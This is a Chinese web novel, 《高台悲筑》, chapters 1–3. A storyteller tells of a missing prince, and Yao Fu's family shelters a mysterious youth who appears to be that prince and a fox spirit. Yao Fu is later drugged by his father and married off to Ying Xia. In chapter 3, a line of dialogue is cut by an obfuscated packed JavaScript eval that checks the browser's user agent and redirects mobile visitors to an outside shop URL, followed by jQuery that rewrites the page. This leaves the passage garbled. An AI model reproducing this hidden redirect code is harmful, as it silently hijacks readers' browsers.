《高台悲筑》 1. 第1章 话说在祥和七年三月丙午,那真真是个风和日丽的好日子,皇帝陛下祭天回城恰好路过了车水马龙的启封城。城中官吏拆了不少侵占道路的店铺民宅,清走了路上的摊贩,又叫人一天几次洒扫,甚至是在官道上重新铺了石头,只等着陛下的车辇经过。 到了辰时,陛下的玉辇果然入了城,一路上无数人家都出来张望,只是远远看着,也不敢进前去,陛下好心情,允了民众在路旁观看。这路边的人呀也就越聚越多,越聚越多。 原本是一片祥和之气,可就在玉辇将要出城时,从人堆里窜出几个人,直奔着主车去了,这是意欲行刺呀! 所幸咱们陛下机智灵敏,拉着宠妃涂山氏就跳了车,急忙钻进了人群,不叫那刺客有可乘之机。刺客见着人跑了,纷纷跟着挤进人群,只留了一个还在原地。那人干脆换了目标,转头向随行的四皇子奔去。可陛下所带的侍卫早已拿着刀枪扑了过来,那刺客便信手将匕首朝着四皇子丢掷过去。 这小皇子躲闪不及,负了伤,随后学着父亲挤进了人群。 最后皇上和贵妃毫发无损的回了来,小皇子却彻底没了踪影。 陛下倒是没想起来这茬,只是涂山氏日日以泪洗面,再不愿与皇上亲近。 陛下不明所以,只得旁敲侧击地问贵妃身边的宫人。 宫人们不敢忤逆圣命,也不敢得罪了正感伤的贵妃,只能模棱两可地说: “陛下,娘娘见到树上麻雀的崽子被杜鹃推下来,生了怜悯之情,故而——” 这下陛下还有什么不明白的? 当即就另立了太子,又兴师动众地发了诏令,寻找失踪的四殿下。 只是没人深思——贵妃宫里的树上,哪有什么鸟巢! 好在世间能与陛下论情的也只有贵妃一人了。 这诏令一下也算是举国震动了,能提供线索的,赏五两白银;找到尸首的,赐五两黄金;若能带着活人觐见,那就更不得了了,封万户侯,黄金白银取之不尽用之不竭呀! 一时间天下人纷纷出动,在启封城周围方圆五百里的范围内大肆搜查,到处都是举着陛下下发的画像寻人的。 然而,奇也怪哉,这四皇子如同人间蒸发一般,几个月过去仍旧音讯全无,一年将近,也没有几个人去提供线索。 这一年都过去了,人们大多也就失去了耐心,直叹浪费了一年时间。一年不知能赚来多少个五两银子呢! 渐渐的大家也都默认了,这皇子殿下八成早已葬身什么山林猛兽的腹中了,否则又如何解释他生不见人死不见尸?天下人为了找他几乎是掘地三尺,翻出不少无名尸骨,扒出无数无籍之民,破了多少悬案,昭雪了多少冤案,却偏偏不见皇子的踪迹,不只有这一种解释了吗? “不过方才过了一年两个月……” 台下的看客们听着先生这么说,不由屏住呼吸,瞪大眼睛,伸长脖子,等着说书人的下文。 “啪”的一声,说书人合上扇子。所有人的心都提了起来。 说书人抚着山羊胡,咳嗽了两声,说:“咳咳,欲知后事如何,且听……” 下回分解四个字还没出口,就被人打断了,那客人砰的一拍桌子,大吼道: “且听个屁!” 紧接着又是轰然一声巨响,说书人眼见着那人气沉丹田,两手放在桌下,猛的使劲掀了桌子,桌上的好酒佳肴噼里啪啦洒了一地,周围人一片惊呼,那桌的女眷也不敢吭声,只能忙忙慌慌地站起来,咬着帕子,满脸欲言又止地看着男人发作。 现场大多数人也和这女子一样,忙忙慌慌站起来,后退两步,好看说书人的热闹——可谓天下苦秦久矣,大家都盼着出来个陈胜治治这无法无天的说书人呢。 谁让他每次讲话都只说一半,第二日再来听还要花钱点菜。 那男人长的五大三粗,此时正值盛夏,穿的也少,他胳膊上的腱子肉毫不遮拦地露出来,强健的能夹死蚊子。 他一步一步缓缓往台上走去,一边狠狠放话:“你敢耍老子!好酒好菜都备好了,你就给老子听这个?” 说书人的扇子早掉在了地上,他也没心思去捡,只害怕的一步步后退,一边疯狂摆手示弱:“这位老爷,这事太过久远,都是祥和七年的事了……待我回去……回去……” 那客人已经上了台,大步往前,拎住了说书人的领子,浓重的酒气喷扫在说书人的脸上:“今年才祥和八年!你少蒙老子!” 对了,今天祥和八年七月丁未,离小皇子失踪才不过一年四个月。 说书人见这客人醉的不深,蒙也蒙不过去,只得讨扰道:“好汉,我……小的给你换个故事怎么样?您、您大人不计小人过……” 姚复对接下来的闹剧不怎么关心,只转了头看碟子里的菜,却发现自己点的几碟菜已然全部空了,只剩下一些汤汁昭示着它们曾经存在过。 姚复瞪大眼睛,看向坐在自己对面的少年。 “你饿殍转世么?”姚复满脸不可置信地问。 少年慢悠悠给自己斟酒,然后慢悠悠说:“我没吃过这些东西,你让让我。” 这些话骗小孩都不信。 且不说点的菜都是些家常菜,糕点也都是常见的,就连酒也是便宜的浊酒,寻常人是都吃过的。更何况当初捡到这少年时可是一身锦衣华服,金银玉饰也是挂了一身,瞎子都能看出来他身世非同一般。 当时他身边还躺着一块碎裂的象牙笏板,拼起来后前拙后直,是三品往上的大员才能用得起的物件。 也就是因为这个姚老头才同意把他捡回去的。 现在说他没吃过这些家常便饭,谁信? 姚复曲指敲敲桌面,说:“撒谎也编个中听的好吧?你身上搜出来的东西我们可是一点没贪墨。” 本来姚复他大哥准备挑几件卖掉的,姚复怕里面有什么信物,就给留下了。 可这都一年了,也没传出来什么朝中大员重金求子的事情,反倒是少年反客为主,吃姚家的用姚家的,甚至这说书的钱都是姚复出的。 少年放下酒杯,眼睛转了一圈,说:“我什么都记不起来,你让让我怎么了。” 姚复翻了个大白眼。 姚家人当初轮番上阵,旁敲侧击企图从少年嘴里套出来一点他爹的信息,可这小子嘴比胶水都严,真是守口如瓶,说什么都是一问三不知,明摆着的装傻,唯一一点信息就是他爹住长安,连他自己名字都不肯说。 这也没用啊。 于是姚家人就养着他,打算等哪天想起来了狠狠捞一笔。 对老爹的想法姚复是不屑一顾甚至嗤之以鼻:“你太世俗了。” 姚复家里是个小地主,全家人都在算计钱,姚复作为家里老幺,只想当官造福一方,可惜姚老头不准他去科举,还说什么大厦将倾,去了就是一脚踏进生死门,从此身不由己云云。 所以姚复想的是从少年那里捞个官当当。 两人一时无言,只一杯一杯喝着壶里的酒。 这酒是只准堂食不许带走的,不喝岂不浪费。 台上的闹剧不知何时停下了,说书人又抑扬顿挫地说起了一台新戏:“相传当今圣上的宠妃涂山氏,是一头千年的九尾白狐,当初啊圣上还是太子时……” 姚复不爱听这些没意思的宫廷秘事——人怎么会是狐狸变的呢?还九条尾巴,当真是既荒谬又无趣,也不知道少年是怎么听下去的。 姚复几口喝完了半壶浊酒,如坐针毡地看着少年慢条斯理地喝。 他又不能自己回去,姚老头前天说要把自己的表侄女配给少年,好牢牢拴住他,捞不到钱至少不能亏了不是。 要是人丢了姚老头不得扒了他的皮。 少年轻轻晃了晃酒壶,又放回桌上,遗憾地说:“唉,喝光了。” 姚复实在等不了一刻,拉着他就赶紧走:“走走走,天黑了,待会要挨骂的。” 少年意犹未尽地看看台上,那说书人的尾音飘进耳中: “那九尾白狐便对着天边的满月拜了几拜……” 少年无奈跟着姚复走了,嘴里倒还嘟囔:“你爹的规矩怎么比宫里还严……” 虽说大梁有宵禁,但启封巡夜的官员并不管的。只是防不住自家老爹管。 遥想姚老头第一次给自己立规矩,还是十八岁那年他调戏了村 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他们听说书都是找了个小旮旯,生怕被人看见。而天黑了回家是正好,路上没什么人,不必担心别人异样的目光。 好歹赶在戌时之前回了家。 姚老头老早站在门口,细细听着门口的滴漏报到几时,见着两人回来才冷哼一声进了屋。 最近姚老头非说他过了婚龄,联系了城里好几个地主家里的姑娘,每天不是这家的管家登门,就是那家的媒人,更有甚者,还有小姑娘亲自往他家跑的。 姚复实在烦不胜烦,拉着少年就跑出去,一玩就是一整天,昨天还和姚老头大吵一架,现在父子关系还是如履薄冰。 “那些个大姑娘看上的哪是我啊,我名声又不好。”姚复坐在榻上,随口对少年说。 少年眼皮一跳,有种不好的预感。 “上次那秦家小姐在街上碰到我,问我:你那个伴读怎么没跟你一起?” 姚复似笑非笑地看着少年。 少年没说话,回自己屋里了。姚复笑笑,和衣躺在床上,准备睡觉。 可到了半夜,屋里吹灭的油灯被重新点亮,姚复莫名感到一阵惊悸,忽然睁开眼,却见见少年拿着一沓纸又回来了,人站在床边,正冷冷盯着他,也不知道站了多久。许是光线的缘故,显得格外可怖。 姚复吓了一跳,直接从床上弹了起来,心有余悸地问道:“你搞什么啊,大半夜不睡觉在这儿干什么!” 少年冷冰冰地看着他,眼里没有一丝感情,语气也是冷冰冰地:“我给你寻了一门好亲事。” 然后他就从手里的一沓纸中抽出几张强硬的塞进了姚复手里。姚复翻过来一看,有一张婚帖,写着自己的名字和另一个女子的名字,只是那姑娘的名字实在看不清。另一张则是白纸,只有一方印章。 “什么玩意!你在逗我吗?”姚复把纸随手放在床上,气极反笑。 少年依然冷冰冰的,又抽出一张纸:“这是请你去阳城上任的拜官帖。” 这次是一张上好的宣纸,确实写的拜他做县令,左下角还有印章的痕迹,不过印章的字迹也是糊的,根本看不清。 “不是你开玩笑也走点心啊,拿假的糊弄我啊?”姚复把拜官帖和婚帖放在一处,说道:“还有什么,啊?没有了就去睡觉。” 少年手里还有一些纸,只是都泛着黄,两侧有卷轴,像是圣旨。 少年转身把衣架上的衣服抖掉,转而把那几张“圣旨”挂了上去,旋即走到了窗边。 今日又是一个十五,满月只光正从窗子往屋里洒。 少年仍然冷冰冰地说:“我要走了。” 姚复一时不知道该说什么,这一段时间这小子跟犯了什么病一样,自导自演个没完。 少年用一种十分刁钻的动作坐在了窗台上,两条腿在外面晃悠,他继续说:“记住,我叫亓官卿。” 紧接着,姚复似乎看到了几条毛茸茸的尾巴一晃而过,亓官卿便消失不见了。 姚复觉得自己在做梦,人怎么能长出尾巴呢? 2. 第2章 清晨的第一缕阳光从窗子射进来,洒在榻上,姚复揉了揉眼,下意识看向身边。 很好,没有什么婚帖拜官帖。他坐起来看了看衣架,却见自己的衣服散落在地上,不过衣架上并没有什么圣旨。 果然是梦。姚复把心放回腹腔。 人怎么可能长出尾巴。 或许是昨天说书听多了,才做了如此怪梦。 姚复上前拾起衣服,转头看了看窗子,发现窗子是开着的。衣服底下则盖着一只猫儿,是老大养那只。 或许是猫儿顽皮,推开了窗子,又碰落了衣服。 这样一切都合理了,只是梦里少年自称亓官卿真不合理。他当时也跟风寻过人,自然得了画像,那画上人实在是丑如夜叉,跟少年绝对不是一个人。 少年那一双狐狸眼就足够勾人心魄了,画上那夜叉转生几个轮回还不见的能成正常人。 不管这些了,这个点估计饭都没了,还是得出去吃。 姚复一边想着一边穿好衣服,正欲开门出去,他大哥倒先在外面喊了开: “子季!子季!醒了没子季!”一边喊还一边把门拍的哐哐响。 姚家到底是尊重小辈的,年长者不会未经允许擅自进入年少者的房间。 姚复上前一步,拉开房门,调笑道:“怎么了,大哥?叫你大早上过来,还这么火急火燎的,莫不是……” “去去,你捡回来那小白脸不见了!爹发了好大一通火,现在还在砸东西呢。你可千万别去触霉头!”姚大哥神情慌张地看了看四周,确保没有姚老头的眼线,才压低声音说。 姚复蹙眉:“没了就没了,多大点事。” 姚大哥叹口气:“要真是小事就好说了。” 大哥把缘由仔细说了一遍。 原来姚老头前几天说把少年配给自己表侄女也就是姚复堂妹的话不是说着玩玩,隔日竟然向姚复他表叔家里递了婚帖。表叔今日一大早说要来看看男方的相貌脾气,万万不肯自己闺女婚后受了委屈,谁料门敲了半天也无人应答,姚老头便找了两个人把门给弄开了。 那屋子短短一夜之间竟然落满了灰尘,好似从来无人居住过。 表叔当即变了脸色,咬死了姚老头是欺诈,任怎么辩解也是不信,最后一甩袖子走了。 姚家是惹不起表叔的,他家有人当官,好像是千里之外的一座小城的功曹,不过是芝麻大的小官,在这个黑暗的年代也足够以势压人了。 扯上了表叔一家,不仅得丢脸啊,搞不好家里的基业都得毁掉。这可是个大事啊。 姚复走到前厅去,姚老头已经发完火了,地上一片狼藉,到处都散落着碎瓷,还有倾洒的酒液与菜肴在碎片中间夹杂。 姚老头正盘腿坐在地上,两手搭在膝盖上,双目遥遥望着大门的方向,也不知道在想什么。 姚复看着亲爹呆坐在地上,便提起衣摆,小心的绕过地上的碎瓷,往姚老头”身边走去。 姚老头倒是看见了小儿子走过来,猛地站起身来拍拍衣服,支支吾吾地说:“哎呦,你、你怎么来了?” 姚复是姚老头的老来子,本来就是捧在手里怕摔了,含在口中怕化了,要星星不给月亮地在家里宠着。姚老头给他立了不少规矩,却总在姚复面前装出慈父的样子。要不是他今天起的早,估计姚复也见”不着这场面。 姚复上前一步,勾住老爹的肩膀,凑在他耳边低声说:“爹,你怎么就轻易许给人家了?” 姚老头也怕表叔家里的下人没走远,也压着声音说:“我寻思那小子也跑不了啊!” “得得得,事已至此。咋办?”姚复低声问。 “还能咋办!”姚老头捶胸顿足,“先把你送走!我当年可是答应了你娘的,老子活一天,就护着你一天!” 姚复差点笑出来,费了大力气才憋回去,最后还是绷着脸问老爹:“你说这,你怎么把我送出去!全启封都知道你不准我乱跑,更不准我出城!” 能想出来这么反常的理由,还得是他爹。 “你别管那么多!”姚老头想跺脚缓解情绪,奈何地上都是些锋利的瓷片,饶他情绪波动再大,也只能乖乖收脚。 姚复在心里翻了个白眼,也不知道姚老头憋了什么坏点子。 “我走了你们怎么办?”姚复问出最后一个问题。 没人愿意撇下自己所在乎的一切,背井离乡另谋生路。 姚老头噎住了,最终他只是闭上了眼,不消一息又缓缓睁开,似是下定了决心:“看你表叔怎么说。他要钱就给钱,他要咱家的命我和你哥就给他卖命。” “他能要我们命吗?”姚复差点没控制住音量,瞟了瞟门外后又压低声音,“多大点事,不至于斤斤计较吧!” 姚老头尴尬一笑,说:“儿啊,你表叔听到这事之后派人把消息传遍全城了,如今他是颜面扫地……” “那和我们有关系?谁让他管不住下人的嘴。” 姚老头不知想到了什么,笑容淡了下去,拍着姚复的肩膀,说:“嗨,那你也先走哇。你娘可舍不得你吃苦。且不说我时日无多,先走一步也能早见你娘一眼。” 姚老头已经六十多岁了,姚复的大哥和他相差了近二十岁,姚夫人则在姚复三岁时病逝了。 据说姚夫人临终前都念叨着姚复,遗愿也不过是希望幼子一生平安。 姚老头怕姚复受委屈,也没再续弦。 姚复听见姚老头这么说实在是不乐意,但他暂时没资格管老爹说什么。 表叔家的下人确实没走,就趴在门外两人的视觉死角偷听呢。 虽说听了半天也没弄清楚两人在说啥,只听见依稀几个字眼,什么“送走”、“要命”、“你娘”一类的,家丁听的胆战心惊,自己臆想了故事,越想越后怕,连忙跑去汇报给老爷了。 表叔听完家丁汇报,险些摔了茶杯,只沉默片刻,便说:“罢了,我那表哥也是痴情人,怕是太过思念嫂子而得了癔症了。就不和他们追究了。” 家丁连连点头。 表叔拿起椅子旁边桌上的印章,对家丁说:“你去给那富商写信,就说千金的夫婿有更合适的人选。子季好歹也是我看着长大的,把这门婚事推给他想也能叫嫂子安心了。” 虽说他们姚家人都知道姚复的人品,可还是架不住他花名在外——也不知道是被谁传的——虽然他自己也干过这样的事。 青楼楚馆烟花柳巷没去过,街上的姑娘有一个算一个都被调戏过。 当然最多也就是夸两句人长得美,衣服好看,脂粉香,妆容漂亮,不过加上上下游离的眼神和一张丰神俊朗的脸,姑娘们误以为他是登徒子或是哪家的纨绔倒也不奇怪。 严格来说这也只是几句赞美,算不得调戏,但是大家只听姑娘们的,谁管一个大男人怎么狡辩。 家丁也不敢犹疑,忙捧着印章走了。写完信涂好封泥,盖上印章,这小物件还得还回去,自然是越快越好,迟则生变啊,若是磕了碰了,老爷可饶不了他。 表叔又被姚老头的绝美爱情故事感动到了,姚家却闹得天翻地覆。 这个只有五个男人的家庭罕见的头一次在家里弄了个议事堂。 参与的还有姚夫人的牌位。 主要讨论的还是接下来怎么办。 姚大哥说:“咱要不找人把那小白脸抓回来?” 姚复有点怕少年真是亓官卿——他若是妖怪,变成其他样子倒也不足为奇。于是他自然不同意这个提议: “走的时候就神不知鬼不觉的,怎么抓回来。” 姚二哥一拍桌子,说:“要不咱去城北的会香楼赎个小倌,装成那小子,左右表叔也没见过他……” 会香楼是启封赫赫有名的青楼。 “二哥,你别开玩笑了。我听说玉温天天往那边跑,她能不认识那儿的小倌吗。”姚复扶额。 这个堂妹被家里宠的无法无天,也不知道什么时候开始学山阴公主了,三天两头往青楼点小倌,也不做什么出格的,也就吃点小菜喝喝花酒听听小曲。 因此常玉温的花名比 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他也知道姚老头葫芦里卖的什么药,要举家逃跑了不得,送出一个人却是绰绰有余。姚老头就是想挑明了偷偷把姚复送走,甚至搬出了姚夫人的牌位。 这会议是不欢而散,大家都同意了让姚复自己走,可正主不乐意呀。 姚老头一边叫下人偷偷收拾姚复的行李,一边天天给姚复赔罪,一边叫人私底下买了半斤蒙汗药,打算哪天迷晕直接送走。 姚复倒也没傻到以为姚老头终于愿意让他留在启封城了,凡是姚老头送过来的饭食一概不吃,就怕里面有蒙汗药。 到了第五日,姚老头叫下人给姚复带了个信:“我准你去科考了,不过要先谈谈。” 姚复虽说心里惊喜,却也有防人之心,尽管那是自己亲爹。姚老头什么脾气他这个做儿子的还不知道吗!这就是活脱脱的鸿门宴! 但姚复还是去了。 桌上就摆了一个茶壶两个茶杯,姚复到地方时姚老头还在慢悠悠喝茶。 今日天气极热,姚复从卧房走到前厅,不至于气喘吁吁,却也是大汗淋漓,刚坐下没一会儿就开始口渴。 但桌子上这壶茶可不敢喝。 姚老头也不说正事,就纯喝茶,姚复看着老爹喝了一杯又一杯,实在眼馋,况且姚老头喝了那么多都没事,想必壶里的茶是没有问题的。 于是姚复随手倒掉了杯子里本来就有的茶水——此时已经凉了——又拿起茶壶倒了半杯茶,才把杯子递到唇边,缓缓喝下去。 姚老头见他喝下去,当即也不装了,直接摔了杯子站起身,顺便脱了被茶水浸湿的外袍丢在地上,大笑三声:“哈哈哈,其实你倒掉那杯没有药!小子,姜还是老的辣!哈哈哈!” 姚复不可置信地起身,然后眼前一黑,倒在了大哥怀里。 原本姚复的三个哥哥都埋伏在暗处,是打算看姚老头的眼色,若是姚复不喝下了药的茶,他大哥就冲出去给他一闷棍敲晕,二哥三哥装麻袋送走,若他喝了那就由大哥接着他。 嗯,摔杯为号。 二哥抖开早准备好的麻袋,几个人忙活着把姚复往袋子里塞时,管事突然跑了进来: “老爷,那个平阳的富商应氏递了婚书来……” 姚老头上前接过婚书,又笑了:“哈哈哈!天助我也!你备好轿子直接把少爷送到平阳去!老大,你们几个赶紧准备些嫁妆,咱赶紧把老四送走!” 管事捏了一把汗,提醒道:“老爷,应家小姐现在在西边的阳城,应老爷说不要什么嫁妆彩礼,直接成婚……” “这不更好了!备车备车!” “诶不行!备车被发现了怎么办,你去找那个跟小公子玩的好的车夫,姓什么来着……叫他送!” 姚老头指挥着下人们忙东忙西,算是安排好了姚复的大半辈子。 姚复的几个哥哥在后面嘀嘀咕咕:“咱爹演的可真好……” “也不知道子季送到那边后会不会记恨我们……” 3. 第3章 姚老头可真是一点不怕把儿子药死,那茶水里真真加了猛料,待到姚复再醒过来,已经不知道是什么时候了。 姚复睁开眼,发觉自己躺在一张榻上,头顶挂着红幔子,像是谁家姑娘的闺房,他缓缓扭头向周围看去,的确是卧房的布置,只是十分简朴。 难不成姚老头把他卖了?姚复心下疑惑。他试图坐起来,许是药效还没过,竟是浑身无力,起不来一点。姚复舔舔干裂的嘴唇,无望地看着房梁。 也不知道他睡了多久、被卖到哪去了。 这房间有个小窗户,从中能看到夜空,却不见月亮。房间里也没有声音,不知道滴漏是断了还是摆的远。 单单躺在床上等药效过去也实在无聊,姚复干脆从那一扇小窗中看斗转星移。 可惜他当年《易》学的不甚明白,看不出来星象变化对人间祸福的影响。 就在岁星堪堪移入窗子时,门响了。 姚复愤愤扭头去看那两个贼人的模样,日后好报复。 却是一男一女并肩而行,男的身形魁梧,他一眼能看出来,是他的好友新涂,先前是个车夫,姚复不知道他什么时候做起了人牙子的勾当,竟还将毒手伸向了挚友! 女的不认识,好像穿着一袭白衣,衣服上隐隐有些别色的线绣成的花纹,透着红纱看不清楚,似乎是为了避免与丧服混淆。看着像是富贵人家,怎么会做出这种腌臜事? “哟,他醒了。”新涂视力不错,透着那半透明的纱幔看见姚复侧着脸对他怒目而视,立时提醒了那女子。 女人只微微颔首,快步上前撩开了幔子。 这下姚复终于看清了那女子的脸。 秋娘眉瑞凤眼,薄唇微抿,五官镶嵌在脸上各有千秋,组合在一起在产生美感的同时还夹杂着威严。 近距离观察这张脸实在有些令人畏惧,姚复想往里侧挪一点,奈何有心无力。 那女子坐在榻上,抓起他外侧那只手诊脉。姚复虽说不信什么妖鬼之说,但他曾经见过修仙的,那修仙者口中的命门与医术中的不同,不就是在手腕上么? 就是那女人捏的位置呀! 姚复一时分不清这女子到底是给自己诊脉的还是害自己的命的,只能提心吊胆地躺着,只是细细感受手腕处那指尖传来的轻微压力,好及时发觉她突然用力。 女子呼出一口气,放下了他的手腕,抬头对新涂说:“新兄,去拿碗水吧,麻烦你了。” 新涂应了一声便出去了。 姚复躺在床上,说出这几天第一个字:“你……” 然后他发现真说不下去了,先不提因缺水而生疼的嗓子和沙哑的嗓音,他发出这一个清晰的字眼后是真发不出其他任何音了。 女子闻声垂头,那张美艳的脸上没有任何表情,只说:“我叫应瑕,你爹把你卖给我了。” 然后又转过头,等着新涂把水送来。 打一碗水还是要不了多少功夫的。 新涂很贴心,还拿了双筷子来。 姚复眼睁睁看着一根筷子的一头抵住他牙关,另一头被应瑕捏在手里,碗口倾斜在筷子身上,水流缓缓流入他口中。 姚复觉得自己像个久病卧床之人,又感到很丢人,尤其是新涂在一边幸灾乐祸地看着。 应瑕喂完水就走人了,新涂坐到床边,手里拿着一只不知道哪来的苹果,满脸笑容地说:“你爹可真下得去本啊哈哈哈……” 姚复暂时还是不敢说话,只能一脸憋屈地听着新涂说。 新涂嘴上没有把门的,说话跟倒豆子一样,守不住秘密。 “当初应家婚帖一递过来,你爹就火急火燎地把人送我那了。” “嗨,这应姑娘也是文武全才,长的也漂亮,就是有点骇人,你小子真有福气。” “这阳城不比启封繁华啊,街上都没什么人,跟荒城差不多。真是一出了启封才知道国家大势真是危如累卵了……” “人应家可是皇商,听说你老丈人还给你弄了个官职——” 姚复回想着刚刚新涂说的话,真相也大概知道了个七七八八,他斟酌着开口问:“我睡了几天?” 声音还是沙哑,但是好多了。 “哟,”新涂啃了最后一口苹果,把果核从窗子扔出去,丢进了对面的树丛,“两天三夜。今个第三天了。” 药效褪去的也很快,姚复勉强从床上坐起来,小声问新涂:“咱还能跑回去不?” 新涂满脸惊恐地站起来,还没说些什么,另一道声音传了过来: “你想跑哪去?” 应瑕居然悄无声息地抱胸倚在门框上站在那儿不知多长时间了,一手还拿着一封信。 应家是皇商,据说和贵妃也有交情,权势可比表叔家大得多。 姚复沉默了。 傍上应家的确是个保家业周全的好办法,只是当倒插门怎么也不好听。 应瑕也不与他计较,只是把交叠的双臂拆开,走到榻前,把手里的信递给姚复,说:“这是你的拜官帖。我父亲亲自去求的贵妃办事,隔日圣旨就该到了。” 说完这话她又走了。 大概去睡觉了。 新涂呵呵一笑:“人家为了你可是下了大工夫……” 姚复拿着那拜官帖,翻来覆去地看,想起了那日梦里,亓官卿丢给他的那一串东西,竟然一一应验了。他不信谶纬之学,更不信什么梦中虚实,可这怎么就都应验了呢? 姚复皱着脸,对新涂说:“你不觉得奇怪么……我家不过是阳城的一介小地主,家里也没当官的,我表叔家那个堂哥也不过是个功曹,应家怎么突然向我家提亲?” 新涂手上不知道什么时候从哪顺来的一把瓜子,一听姚复这话,立时给姚复也塞了一把瓜子:“嗨,你不知道,五日前那个失踪的四皇子突然回去了——跟陛下说了什么我不晓得,但是隔日应家就向你家提亲了……你捡回来那个小孩不会真是皇子吧?” 新涂也不是没见过少年,问出这话的时候自己心里都满是疑惑,毕竟人长的跟画像上的就是两个极端。 “你信不信。”姚复无语地看了新涂一眼。 “这不是……当年毛延寿还把昭君画成夜叉呢!”新涂挠挠头,把瓜子一股脑全扔在姚复身上,“哎呀你自己吃吧,这也不早了,我得去睡觉。左右你睡了两天了也睡不着,这瓜子你就替我吃了吧。” 说完就摔门跑了。 这房子也不知道什么情况,似乎有不少老鼠,新涂一走屋里就开始窸窸窣窣响起来。 姚复也不怕这些玩意,干脆趁着下半夜的月光嗑瓜子,一边看着角落里被月光照出影子的老鼠一边磕,一边思考新涂说的话。 或许是真睡够了,到了晨光微熹鸡鸣三声时姚复依然没有困意。 不过鸡才叫了第一声,房间的木门就被人破开了。 未见其人先闻其声,是应瑕在门口喊了一声:“老姚!快起来了!” 进了门见姚复坐着,她才恍然反应过来,揉揉眉心,对婢女说:“是我糊涂了。明天记得提醒我不必早起。” 婢女应了一声就退下了,应瑕还是进来了,她再次拉起姚复的手腕把脉,确定脉象平稳后才起身准备离开:“这个时间早膳还没备好,不必起这么早。” 姚复点头,然后十分诚恳地对应瑕说:“应姑娘,屋里有老鼠。” 应瑕表情变了,眼神里透出两分茫然三分失落一分惊喜还有四分变幻莫测。 她半天没说话,然后极其不自然地说:“现在你我是夫妻……不要叫我姑娘。” 然后就急匆匆出去了,隐隐约约能听见她招呼下人抓老鼠的声音,还有一句过分清晰的“你去问问新涂昨晚给他瞎说了什么”。 姚复躺回床上。被当成病号的感觉还真不错。 隔了一会儿早饭都给送到床上了。 到了中午,新涂进来了,只是脸色不太好,说话也是谨小慎微的:“咳,这房子有老鼠也难免……我跟你说,我听说应家遭了大罪,才把女儿匆匆嫁出去的。这婚房什么都没准备,听说是在阳城临时买的。” 这和昨天说的是背道而驰啊。 姚复往榻上探了探,没见自己衣服,又在房间里张望两眼,也没见衣架子,更没见衣服放在哪,只好先问新涂:“我衣服呢?” 新涂把门开了条小缝,对着门外说了什么,又把门拉开,一个婢女走进来,面无表情一板一眼地对姚复说:“夫人说:‘让他先静养几天,衣服也收起来,否则老出去逛青楼。’,所以奴婢就把您的衣服收起来了。” 姚复如遭晴天霹雳:“我什么时候逛过青楼啊?!她冤枉我啊!” 新涂摇摇头,说:“哎呀姚兄,你都成亲了。就算你没逛过青楼,那你也天天上街调戏小姑娘啊,这我都知道……” “我最多就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207073|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸人家两句,也没上下其手啊!你怎么说的我像个登徒子?!” 新涂用一种写着“你不是吗”的眼神上下看了姚复两眼,一切尽在不言中。 好了,还以为从启封离开就能出去好好玩玩了,这下全泡汤了。 “看开点。”新涂拍拍姚复的肩,“阳城真是哪哪都比不上启封,这边什么都没有,连酒家都少的可怜。” 不是每个城市都是启封那样的繁华盛世。 有时在名不见经传的小地方才能看见民生疾苦。 姚复看了看窗外。 窗外是一片茂密的树丛,但树丛后面的景象也许就是哀鸿遍野硕鼠兴歌,许多人只是世间被繁华迷了眼的蝼蚁,参不透屏风之后的真相。 姚复和应瑕不像是夫妻,倒像医患,应瑕每天早晚两次给姚复把脉,脉象什么样也不说,也不熬药,就纯纯把脉,两人也几乎一句话没说过,端端的相敬如宾。 到了第四天,应瑕叫婢女给他把衣服送来了,不是他原本穿的那套,是新裁的,不知道应瑕什么时候拿了他的尺寸。 宝蓝色,绸缎面子,款式并不新奇,也没什么特别之处。 他换好衣服出来的时候,应瑕微微怔了一下,放下手中的茶杯,只说:“很好。” 应瑕似乎很喜欢,像是喜欢,又像睹物思人,弄的姚复心里不舒服。 应瑕站起身,不知道从哪拿出来一块玉佩,帮姚复坠在腰间。 应瑕身形高挑,姚复的鼻尖恰能碰着应瑕的额发。应瑕系好玉佩,后退一步,微微扬首:“你需要佩剑吗。” 姚复摇头。 应瑕今日特意打扮了,梳了寻常女子的发髻——她平日里总是随意把头发束起来,由着马尾般的长发在背后晃荡,要么就是拿簪子挽起来,反正是绝不肯梳那些麻烦发式的确。她今日还化了妆,换了条繁琐的裙子。 大概是今日有贵客要来吧。 但应瑕打扮起来还是掩盖不住那股凌厉的气质。 姚复被应瑕推到前厅里坐着——这个方向能看到门外,门外的路上确实是一片荒凉,石板路上长着青苔,对面那家的墙根处都是杂草,对了,连墙上都挂着黄黄绿绿的地锦,有些地方恰。墙皮都塌了,露着斑驳的红砖。 阳城果然很荒凉啊。 应瑕沏了茶,两个不爱喝茶的人难得坐在那附庸风雅,应瑕是把杯盖拿起又盖上,时不时吹着茶水,就是不喝,姚复则是举着杯托看着杯子里上下浮动的茶叶出神。 好在这附庸风雅的招数还是有用的。 门外传来马蹄的疾驰声,外面的人见门开着便旁若无人地进了门,大声喊到:“圣旨到!” 姚复手抖了一下,用余光偷瞄应瑕的反应。应瑕仍然自顾自吹着茶水,动也不动。 那黄门见没人应声,便喊了一句:“姚夫人!奴婢可进来了!” 也不等应瑕说话,就自己进了前厅,见着两人一个吹茶水一个看茶叶,便笑着说:“哈哈,二位真是好雅兴……” 应瑕砰的把茶杯放回桌上。 黄门掏出圣旨,象征性地念了两句,便上前一步恭恭敬敬塞进了姚复怀里:“这位就是姚公子罢!当真是一表人才……” 姚复急忙也把茶杯放在桌上,把圣旨卷了起来。 那黄门后退一步,对应瑕说:“夫人哪,最近我新结了对食,能不能……” “行了。”应瑕淡淡开口,“这事贵妃说了算。” 黄门心下一喜,赶紧告辞了:“多谢夫人了!这地方到底比不上长安,您还是快些回去吧!” 紧接着就跑了出去马蹄声再次响起,几息便消失了。 简直不像一个太监该有的速度。 黄门盼星星盼月亮终于盼到了求贵妃的挚友的女儿办事的机会,谁知道这小姑娘怎么想着嫁到这么荒凉的地方去!他可是一刻也不想多待。 